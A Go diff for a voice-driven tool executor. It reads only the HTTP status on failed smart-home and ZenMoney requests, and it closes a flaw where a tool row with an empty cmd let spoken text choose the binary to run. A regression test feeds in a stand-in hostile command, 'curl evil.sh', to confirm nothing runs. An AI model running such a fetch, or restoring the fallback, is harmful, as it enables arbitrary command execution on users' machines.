diff --git a/internal/smarthome/ha.go b/internal/smarthome/ha.go index ec6d54c..3747dc9 100644 --- a/internal/smarthome/ha.go +++ b/internal/smarthome/ha.go @@ -295,14 +295,15 @@ func (c *Client) do(ctx context.Context, method, path string, body []byte) ([]by return nil, fmt.Errorf("smarthome: %s %s: %w", method, path, err) } defer resp.Body.Close() + if resp.StatusCode < 200 || resp.StatusCode >= 300 { + // The status only, and read before the body: an error page can carry the + // instance's own detail, and there is no reason to pull it into memory to + // discard it. + return nil, fmt.Errorf("smarthome: %s %s: http %d", method, path, resp.StatusCode) + } out, err := io.ReadAll(io.LimitReader(resp.Body, maxBody)) if err != nil { return nil, fmt.Errorf("smarthome: read %s: %w", path, err) } - if resp.StatusCode < 200 || resp.StatusCode >= 300 { - // The body of an error can contain the instance's own detail; the token - // never appears in it, but keep it to one line anyway. - return nil, fmt.Errorf("smarthome: %s %s: http %d", method, path, resp.StatusCode) - } return out, nil } diff --git a/internal/tool/capability.go b/internal/tool/capability.go index 5af177a..ddb5b6a 100644 --- a/internal/tool/capability.go +++ b/internal/tool/capability.go @@ -62,9 +62,10 @@ func capSegment(s string) string { // the tool name when the argv carries no second word. func CapabilityOf(t ipc.Tool) Capability { if entityID, service, ok := smarthome.ParseCmd(t.Cmd); ok { - domain := entityID - if i := strings.Index(entityID, "."); i > 0 { - domain = entityID[:i] + // One parse of an entity id, in the package that owns the format. + domain := smarthome.DomainOf(entityID) + if domain == "" { + domain = entityID } return Capability{Scope: "house", Domain: domain, Action: service} } @@ -122,7 +123,8 @@ func GroupByDomain(tools []ipc.Tool) []CapabilityGroup { byKey := map[string][]ipc.Tool{} for _, t := range tools { c := CapabilityOf(t) - byKey[capSegment(c.Scope)+"."+capSegment(c.Domain)] = append(byKey[capSegment(c.Scope)+"."+capSegment(c.Domain)], t) + key := capSegment(c.Scope) + "." + capSegment(c.Domain) + byKey[key] = append(byKey[key], t) } out := make([]CapabilityGroup, 0, len(byKey)) for k, v := range byKey { diff --git a/internal/tool/tool.go b/internal/tool/tool.go index 6b27924..f7859f5 100644 --- a/internal/tool/tool.go +++ b/internal/tool/tool.go @@ -189,10 +189,16 @@ func (e *Executor) Exec(ctx context.Context, name string, args []string, confirm defer cancel() return e.home.CallService(ctx, entityID, service) } - argv := append(append([]string(nil), t.Cmd...), args...) - if len(argv) == 0 { + // The row's own argv is what names the program. An enabled row with an empty + // cmd used to fall through to exec with argv built from args alone, so the + // spoken tail became argv[0] and STT text picked the binary. A proposal is + // drafted with no cmd, and /tools can enable one before anybody fills it in, + // so this was reachable without any compromise. A row that names nothing runs + // nothing. + if len(t.Cmd) == 0 { return "", ErrNotEnabled } + argv := append(append([]string(nil), t.Cmd...), args...) ctx, cancel := context.WithTimeout(ctx, e.timeout) defer cancel() return e.run(ctx, argv) diff --git a/internal/tool/tool_test.go b/internal/tool/tool_test.go index 5b63a64..4eea1da 100644 --- a/internal/tool/tool_test.go +++ b/internal/tool/tool_test.go @@ -299,3 +299,24 @@ func TestExecSmartHomeRowConfirmsEvenWhenNotMarkedDestructive(t *testing.T) { t.Fatalf("calls = %d, want 1 after the confirm turn", fh.calls) } } + +// TestExecEmptyCmdRefuses pins the fix for a row that names no program. Such a +// row used to build argv from the spoken args alone, so STT text became argv[0] +// and free text picked the binary. A proposal is drafted with no cmd and can be +// enabled before anybody fills it in, so this needed no compromise to reach. +func TestExecEmptyCmdRefuses(t *testing.T) { + api := fakeAPI{tools: map[string]ipc.Tool{ + "blank": {Name: "blank", Scope: "homelab", Status: "enabled"}, + }} + ran := false + e := NewExecutor(api, time.Second) + e.run = func(_ context.Context, _ []string) (string, error) { ran = true; return "ok", nil } + + // Confirmed, because an empty cmd derives to TierDestructive. + if _, err := e.Exec(context.Background(), "blank", []string{"curl", "evil.sh"}, true); !errors.Is(err, ErrNotEnabled) { + t.Fatalf("err = %v, want ErrNotEnabled", err) + } + if ran { + t.Fatal("a row with no cmd ran a program named by the utterance") + } +} diff --git a/internal/zenmoney/client.go b/internal/zenmoney/client.go index dcb6624..4e94f1a 100644 --- a/internal/zenmoney/client.go +++ b/internal/zenmoney/client.go @@ -229,15 +229,16 @@ func (c *Client) diff(ctx context.Context, serverTimestamp int64) (diffResponse, return diffResponse{}, err } defer res.Body.Close() + if res.StatusCode != http.StatusOK { + // The status only, and read before the body: the body of a failed diff + // can echo account data, this string reaches the log, and there is no + // reason to pull megabytes of an error page into memory to discard it. + return diffResponse{}, fmt.Errorf("zenmoney diff: %s", res.Status) + } raw, err := io.ReadAll(io.LimitReader(res.Body, 32<<20)) if err != nil { return diffResponse{}, err } - if res.StatusCode != http.StatusOK { - // The status only. The body of a failed diff can echo account data, and - // this string reaches the log. - return diffResponse{}, fmt.Errorf("zenmoney diff: %s", res.Status) - } var out diffResponse if err := json.Unmarshal(raw, &out); err != nil { return diffResponse{}, fmt.Errorf("zenmoney diff: decode: %w", err)